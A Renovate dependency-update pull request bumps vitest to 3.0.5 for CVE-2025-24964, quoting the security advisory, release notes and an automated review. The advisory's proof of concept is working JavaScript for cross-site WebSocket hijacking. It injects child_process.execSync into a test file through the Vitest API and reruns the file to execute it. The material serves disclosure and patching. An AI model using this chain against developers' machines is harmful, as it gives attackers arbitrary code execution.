chore(deps): update dependency vitest to v3.0.5 [security]

[renovate]

This PR contains the following updates:

Package	Type	Update	Change	OpenSSF
vitest (source)	devDependencies	patch	3.0.4 -> 3.0.5

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

Release Notes

vitest-dev/vitest (vitest)

v3.0.5

Compare Source

🚀 Features

• ui: Insert message "no tests found" in ui - by @​DevJoaoLopes in https://github.com/vitest-dev/vitest/issues/7366 (92da4)

🐞 Bug Fixes

• Validate websocket request - by @​hi-ogawa and @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/7317 (191ef)
• Don't toggle cli cursor on non-TTY - by @​AriPerkkio in https://github.com/vitest-dev/vitest/issues/7336 (3c805)
• vite-node: Differentiate file url with hash and query - by @​hi-ogawa in https://github.com/vitest-dev/vitest/issues/7365 (926ca)

View changes on GitHub

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[coderabbitai]

Walkthrough

A single update has been made to the configuration of the refarch-webcomponent package. The version of the vitest dependency in the devDependencies section of the package.json file has been updated from 3.0.4 to 3.0.5 without any other modifications.

Changes

File	Change Summary
refarch-webcomponent/package.json	Updated vitest dependency version from 3.0.4 to 3.0.5

Possibly related PRs

• chore(deps): update dependency vitest to v3.0.4 #753: Updates vitest from 3.0.3 to 3.0.4, showing a parallel dependency version increment.
• chore(deps): update dependency vite to v6 #738: Alters vitest dependency from 2.1.8 to 3.0.3, directly relating to dependency updates.
• chore(deps): update dependency vite to v6 #740: Modifies the vitest dependency version similarly, indicating a consistent trend in version management.

Suggested labels

Template: Webcomponent, Type: Dependency

Suggested reviewers

• devtobi

Poem

I'm a bouncing bunny, coding with delight,
Hopping through updates, day and night.
Vitest shines bright at version three-point-oh-five,
In my burrow of code, everything comes alive.
With every line I tweak and revise,
I celebrate changes with joyful eyes!

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🔇 Additional comments (1)

refarch-webcomponent/package.json (1)

39-39: Vitest Dependency Version Update

The upgrade of vitest from version 3.0.4 to 3.0.5 is correctly applied to address CVE-2025-24964. This change ensures that the vulnerability involving arbitrary remote code execution via Cross-site WebSocket hijacking is mitigated through proper validation of WebSocket requests. Please verify that all parts of the test infrastructure are compatible with the new version.

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